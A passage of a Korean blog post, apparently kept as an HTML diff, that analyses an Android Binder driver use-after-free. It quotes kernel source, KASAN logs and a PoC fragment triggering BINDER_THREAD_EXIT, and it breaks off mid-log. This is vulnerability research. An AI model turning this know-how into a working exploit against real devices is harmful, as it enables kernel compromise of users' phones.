class="p">{</span> + <span class="n">pt</span><span class="o">-&gt;</span><span class="n">_key</span> <span class="o">=</span> <span class="n">epi</span><span class="o">-&gt;</span><span class="n">event</span><span class="p">.</span><span class="n">events</span><span class="p">;</span> + + <span class="k">return</span> <span class="n">epi</span><span class="o">-&gt;</span><span class="n">ffd</span><span class="p">.</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">poll</span><span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">ffd</span><span class="p">.</span><span class="n">file</span><span class="p">,</span> <span class="n">pt</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">epi</span><span class="o">-&gt;</span><span class="n">event</span><span class="p">.</span><span class="n">events</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li>ep_set_ffd에 의하여 epi-&gt;ffd.file은 tfile 즉 binder의 fd가 들어간다.</li> + <li>따라서 이후 ep_item_poll에서 epi-&gt;ffd.file-&gt;f_op-&gt;poll(epi-&gt;ffd.file, pt)함수를 실행하면, binder fd와 연결된 binder_poll 함수가 실행된다.</li> +</ul> + +<p><br /></p> + +<p>binder_poll은 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">binder_poll</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">poll_table_struct</span> <span class="o">*</span><span class="n">wait</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">private_data</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">bool</span> <span class="n">wait_for_proc_work</span><span class="p">;</span> + + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> <span class="c1">//binder thread 세팅</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="kr">thread</span><span class="p">)</span> + <span class="k">return</span> <span class="n">POLLERR</span><span class="p">;</span> + + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + <span class="kr">thread</span><span class="o">-&gt;</span><span class="n">looper</span> <span class="o">|=</span> <span class="n">BINDER_LOOPER_STATE_POLL</span><span class="p">;</span> + <span class="n">wait_for_proc_work</span> <span class="o">=</span> <span class="n">binder_available_for_proc_work_ilocked</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> + + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + + <span class="n">poll_wait</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">,</span> <span class="n">wait</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">binder_has_work</span><span class="p">(</span><span class="kr">thread</span><span class="p">,</span> <span class="n">wait_for_proc_work</span><span class="p">))</span> + <span class="k">return</span> <span class="n">POLLIN</span><span class="p">;</span> + + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위에서 보여진 <code class="language-plaintext highlighter-rouge">binder_proc *proc</code>에는 처음 binder driver를 열었을 때 생성된 <code class="language-plaintext highlighter-rouge">binder_proc</code>구조체가 들어가게 된다. 그리고 <code class="language-plaintext highlighter-rouge">binder_get_thread</code>함수에서 <code class="language-plaintext highlighter-rouge">binder_thread</code> 구조체를 할당한 다음 세팅한다.</p> + +<p><br /> +binder_get_thread함수는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="nf">binder_get_thread</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="n">new_thread</span><span class="p">;</span> + + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread_ilocked</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="kr">thread</span><span class="p">)</span> <span class="p">{</span> + <span class="n">new_thread</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="kr">thread</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span> <span class="c1">// 새로운 binder thread할당</span> + <span class="k">if</span> <span class="p">(</span><span class="n">new_thread</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> + <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread_ilocked</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">new_thread</span><span class="p">);</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="kr">thread</span> <span class="o">!=</span> <span class="n">new_thread</span><span class="p">)</span> + <span class="n">kfree</span><span class="p">(</span><span class="n">new_thread</span><span class="p">);</span> + <span class="p">}</span> + <span class="k">return</span> <span class="kr">thread</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li>위 함수에서 보면 kzalloc(sizeof(*thread), GFP_KERNEL); 코드를 통해 새로운 thread를 할당 받는 것을 알 수 있다.</li> + <li>이때 할당 받은 청크가 우리가 UAF에서 사용할 청크이다.</li> +</ul> + +<p><br /> +binder thread 구조체는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//drivers/android/binder.c</span> +<span class="k">struct</span> <span class="n">binder_thread</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">rb_node</span> <span class="n">rb_node</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="n">waiting_thread_node</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">pid</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">looper</span><span class="p">;</span> <span class="cm">/* only modified by this thread */</span> + <span class="n">bool</span> <span class="n">looper_need_return</span><span class="p">;</span> <span class="cm">/* can be written by other thread */</span> + <span class="k">struct</span> <span class="n">binder_transaction</span> <span class="o">*</span><span class="n">transaction_stack</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="n">todo</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_error</span> <span class="n">return_error</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_error</span> <span class="n">reply_error</span><span class="p">;</span> + <span class="n">wait_queue_head_t</span> <span class="n">wait</span><span class="p">;</span> <span class="c1">//이 부분이 중요!</span> + <span class="k">struct</span> <span class="n">binder_stats</span> <span class="n">stats</span><span class="p">;</span> + <span class="n">atomic_t</span> <span class="n">tmp_ref</span><span class="p">;</span> + <span class="n">bool</span> <span class="n">is_dead</span><span class="p">;</span> +<span class="p">};</span> + +</code></pre></div></div> + +<p><br /> +우리는 앞서 패치 노트를 통해 epoll과 waitqueue에 어떤 부분에 의하여 UAF가 발생했다는 것을 추측할 수 있다. 따라서 이와 관련이 있어 보이는 <code class="language-plaintext highlighter-rouge">poll_wait(filp, &amp;thread-&gt;wait, wait);</code> 코드를 볼 필요가 있다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">binder_poll</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">poll_table_struct</span> <span class="o">*</span><span class="n">wait</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">poll_wait</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">,</span> <span class="n">wait</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/poll.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">poll_wait</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span> <span class="n">filp</span><span class="p">,</span> <span class="n">wait_queue_head_t</span> <span class="o">*</span> <span class="n">wait_address</span><span class="p">,</span> <span class="n">poll_table</span> <span class="o">*</span><span class="n">p</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">&amp;&amp;</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">_qproc</span> <span class="o">&amp;&amp;</span> <span class="n">wait_address</span><span class="p">)</span> + <span class="n">p</span><span class="o">-&gt;</span><span class="n">_qproc</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="n">wait_address</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li> + <p>p→_qproc는 ep_insert함수에서 실행된 <code class="language-plaintext highlighter-rouge">init_poll_funcptr(&amp;epq.pt, ep_ptable_queue_proc);</code> 코드에 의해 <code class="language-plaintext highlighter-rouge">ep_ptable_queue_proc</code>함수로 세팅되어, 해당 함수가 실행된다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /fs/eventpoll.c</span> + <span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_insert</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epoll_event</span> <span class="o">*</span><span class="n">event</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">tfile</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">full_check</span><span class="p">)</span> + <span class="p">{</span> + <span class="c1">//... </span> + <span class="n">epq</span><span class="p">.</span><span class="n">epi</span> <span class="o">=</span> <span class="n">epi</span><span class="p">;</span> + <span class="n">init_poll_funcptr</span><span class="p">(</span><span class="o">&amp;</span><span class="n">epq</span><span class="p">.</span><span class="n">pt</span><span class="p">,</span> <span class="n">ep_ptable_queue_proc</span><span class="p">);</span> + <span class="c1">//...</span> + <span class="p">}</span> + + <span class="c1">// /include/linux/poll.h</span> + <span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">init_poll_funcptr</span><span class="p">(</span><span class="n">poll_table</span> <span class="o">*</span><span class="n">pt</span><span class="p">,</span> <span class="n">poll_queue_proc</span> <span class="n">qproc</span><span class="p">)</span> + <span class="p">{</span> + <span class="n">pt</span><span class="o">-&gt;</span><span class="n">_qproc</span> <span class="o">=</span> <span class="n">qproc</span><span class="p">;</span> + <span class="n">pt</span><span class="o">-&gt;</span><span class="n">_key</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0UL</span><span class="p">;</span> <span class="cm">/* all events enabled */</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> +</ul> + +<p><br /></p> + +<p>이어서 ep_ptable_queue_proc을 보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> + +<span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_ptable_queue_proc</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">whead</span><span class="p">,</span> + <span class="n">poll_table</span> <span class="o">*</span><span class="n">pt</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span> <span class="o">=</span> <span class="n">ep_item_from_epqueue</span><span class="p">(</span><span class="n">pt</span><span class="p">);</span> + <span class="k">struct</span> <span class="n">eppoll_entry</span> <span class="o">*</span><span class="n">pwq</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">nwait</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">pwq</span> <span class="o">=</span> <span class="n">kmem_cache_alloc</span><span class="p">(</span><span class="n">pwq_cache</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">)))</span> <span class="p">{</span> + <span class="n">init_waitqueue_func_entry</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">,</span> <span class="n">ep_poll_callback</span><span class="p">);</span> + <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">whead</span> <span class="o">=</span> <span class="n">whead</span><span class="p">;</span> + <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">base</span> <span class="o">=</span> <span class="n">epi</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">event</span><span class="p">.</span><span class="n">events</span> <span class="o">&amp;</span> <span class="n">EPOLLEXCLUSIVE</span><span class="p">)</span> + <span class="n">add_wait_queue_exclusive</span><span class="p">(</span><span class="n">whead</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">add_wait_queue</span><span class="p">(</span><span class="n">whead</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">);</span> + <span class="n">list_add_tail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">llink</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">pwqlist</span><span class="p">);</span> + <span class="n">epi</span><span class="o">-&gt;</span><span class="n">nwait</span><span class="o">++</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="cm">/* We have to signal that an error occurred */</span> + <span class="n">epi</span><span class="o">-&gt;</span><span class="n">nwait</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> + + <span class="c1">//[...]</span> +<span class="p">}</span> + +<span class="c1">// /kernel/sched/wait.c</span> +<span class="kt">void</span> <span class="n">add_wait_queue</span><span class="p">(</span><span class="k">struct</span> <span class="n">wait_queue_head</span> <span class="o">*</span><span class="n">wq_head</span><span class="p">,</span> <span class="k">struct</span> <span class="n">wait_queue_entry</span> <span class="o">*</span><span class="n">wq_entry</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">;</span> + + <span class="n">wq_entry</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="n">WQ_FLAG_EXCLUSIVE</span><span class="p">;</span> + <span class="n">spin_lock_irqsave</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> + <span class="n">__add_wait_queue</span><span class="p">(</span><span class="n">wq_head</span><span class="p">,</span> <span class="n">wq_entry</span><span class="p">);</span> + <span class="n">spin_unlock_irqrestore</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/wait.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="n">__add_wait_queue</span><span class="p">(</span><span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="n">wait_queue_t</span> <span class="o">*</span><span class="n">new</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">list_add</span><span class="p">(</span><span class="o">&amp;</span><span class="n">new</span><span class="o">-&gt;</span><span class="n">task_list</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">head</span><span class="o">-&gt;</span><span class="n">task_list</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/list.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="n">list_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">new</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">head</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">__list_add</span><span class="p">(</span><span class="n">new</span><span class="p">,</span> <span class="n">head</span><span class="p">,</span> <span class="n">head</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/list.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="n">__list_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">new</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span> + <span class="n">new</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">next</span><span class="p">;</span> + <span class="n">new</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span> + <span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>add_wait_queue를 호출하여 binder_thread의 circular double linked list에 eppoll_entry.wait-&gt;task_list를 binder_thread 다음 노드로 추가</li> +</ul> + +<p><br /></p> + +<p>eppoll_entry 구조체는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="k">struct</span> <span class="n">eppoll_entry</span> <span class="p">{</span> + <span class="cm">/* List header used to link this structure to the "struct epitem" */</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="n">llink</span><span class="p">;</span> + + <span class="cm">/* The "base" pointer is set to the container "struct epitem" */</span> + <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">base</span><span class="p">;</span> + + <span class="cm">/* + * Wait queue item that will be linked to the target file wait + * queue head. + */</span> + <span class="n">wait_queue_t</span> <span class="n">wait</span><span class="p">;</span> + + <span class="cm">/* The wait queue head that linked the "wait" wait queue item */</span> + <span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">whead</span><span class="p">;</span> +<span class="p">};</span> +</code></pre></div></div> + +<p>위 과정들을 통해 만들어진 구조체는 다음과 같다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android2.png" alt="그림 2. epitem, eppoll_entry, binder_thread의 연결관계" /></p> + +<p><br /> +<br /></p> + +<p>지금까지 진행 과정을 정리하자면 다음과 같다.</p> + +<ol> + <li>binder_thread 구조체 생성</li> + <li>eventpoll구조체 생성</li> + <li>epoll_ctl → ep_insert → ep_item_poll → binder_poll 호출</li> + <li>binder_poll에서 binder_get_thread함수를 통해 새로운 binder_thread할당</li> + <li>이후 poll_wait → ep_ptable_queue_proc 함수 실행</li> + <li>epoll_entry→whead에 binder_thread.wait 대입, epoll_entry→wait에 binder_thread→wait.head 리스트 연결</li> +</ol> + +<p><br /> +<br /></p> + +<h2 id="43-free">4.3 Free</h2> + +<p>이번에는 UAF에 사용된 청크가 어떻게 해제 되었는지 살펴보기 위해 먼저 KASAN log를 살펴본다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 464.714124] c0 3033 Freed by task 3033: +[ 464.716396] [&lt;ffffff900808e5a4&gt;] save_stack_trace_tsk+0x0/0x204 +[ 464.721699] [&lt;ffffff900808e7c8&gt;] save_stack_trace+0x20/0x28 +[ 464.727678] [&lt;ffffff90082b16a4&gt;] kasan_slab_free+0xb0/0x1c0 +[ 464.733322] [&lt;ffffff90082ae214&gt;] kfree+0x8c/0x2b4 +[ 464.738952] [&lt;ffffff900940ac00&gt;] binder_thread_dec_tmpref+0x15c/0x1c0 +[ 464.743750] [&lt;ffffff900940d590&gt;] binder_thread_release+0x284/0x2e0 +[ 464.750253] [&lt;ffffff90094149e0&gt;] binder_ioctl+0x6f4/0x3664 +[ 464.756498] [&lt;ffffff90082e1364&gt;] do_vfs_ioctl+0x7f0/0xd58 +[ 464.762052] [&lt;ffffff90082e1968&gt;] SyS_ioctl+0x9c/0xc0 +[ 464.767513] [&lt;ffffff90080842b0&gt;] el0_svc_naked+0x24/0x28 + +</code></pre></div></div> + +<p>보면 SyS_ioctl에서 binder_ioctl → binder_thread_release 함수를 통해 binder_thread가 해제되었다는 것을 추측할 수 있다.</p> + +<p>poc에서 아래 코드를 통해 binder_ioctl이 호출된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//poc.c</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="p">[...]</span> + <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><br /> +위 poc를 통해 호출되는 binder_ioctl코드를 자세히 살펴보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /drivers/android/binder.c</span> + +<span class="k">static</span> <span class="kt">long</span> <span class="nf">binder_ioctl</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">private_data</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">;</span> + <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="n">_IOC_SIZE</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span> + <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">ubuf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span> + + <span class="p">...</span> + + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + + <span class="p">...</span> + + <span class="k">case</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">:</span> + <span class="n">binder_debug</span><span class="p">(</span><span class="n">BINDER_DEBUG_THREADS</span><span class="p">,</span> <span class="s">"%d:%d exit</span><span class="se">\\</span><span class="s">n"</span><span class="p">,</span> + <span class="n">proc</span><span class="o">-&gt;</span><span class="n">pid</span><span class="p">,</span> <span class="kr">thread</span><span class="o">-&gt;</span><span class="n">pid</span><span class="p">);</span> + <span class="n">binder_thread_release</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="kr">thread</span><span class="p">);</span> + <span class="kr">thread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + +</code></pre></div></div> + +<p>binder_proc에서 binder_thread를 얻은 다음, 이를 binder_thread_release함수에 인자로 넘겨준다.</p> + +<p><br /> +<br /></p> + +<p>binder_thread_release → binder_thread_dec_tmpref → binder_free_thread 순으로 함수가 호출된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">int</span> <span class="nf">binder_thread_release</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">)</span> +<span class="p">{</span> + + <span class="p">[...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">send_reply</span><span class="p">)</span> + <span class="n">binder_send_failed_reply</span><span class="p">(</span><span class="n">send_reply</span><span class="p">,</span> <span class="n">BR_DEAD_REPLY</span><span class="p">);</span> + <span class="n">binder_release_work</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">todo</span><span class="p">);</span> + <span class="n">binder_thread_dec_tmpref</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> + <span class="k">return</span> <span class="n">active_transactions</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">binder_thread_dec_tmpref</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">)</span> +<span class="p">{</span> + <span class="cm">/* + * atomic is used to protect the counter value while + * it cannot reach zero or thread-&gt;is_dead is false + */</span> + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + <span class="n">atomic_dec</span><span class="p">(</span><span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">tmp_ref</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">is_dead</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">atomic_read</span><span class="p">(</span><span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">tmp_ref</span><span class="p">))</span> <span class="p">{</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + <span class="n">binder_free_thread</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> + <span class="k">return</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">binder_free_thread</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">kfree</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>결국 마지막 binder_free_thread함수에서 thread가 해제된다.</p> + +<p><br /></p> + +<p>여기서 문제는 이전 단계에서 eppoll_entry→whead와 eppoll_entry-&gt;wait 가 binder_thread→wait와 circular doubly linked list로 연결되었는데, epoll_entry에 연결된 list에 대한 정리가 여기서 진행되지 않는다. 따라서 여전히 eppoll_entry에서 해제된 thread 청크에 접근이 가능한 상태로 남게된다.</p> + +<ul> + <li>그림 2 참고</li> +</ul> + +<p><br /></p> + +<h2 id="44-use">4.4 Use</h2> + +<p>해제한 청크를 사용하는 부분을 확인해보기 위해 KASAN log를 보면 아래와 같다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 464.545928] c0 3033 [&lt;ffffff900808f0e8&gt;] dump_backtrace+0x0/0x34c +[ 464.549328] c0 3033 [&lt;ffffff900808f574&gt;] show_stack+0x1c/0x24 +[ 464.555411] c0 3033 [&lt;ffffff900858bcc8&gt;] dump_stack+0xb8/0xe8 +[ 464.561319] c0 3033 [&lt;ffffff90082b1ecc&gt;] print_address_description+0x94/0x334 +[ 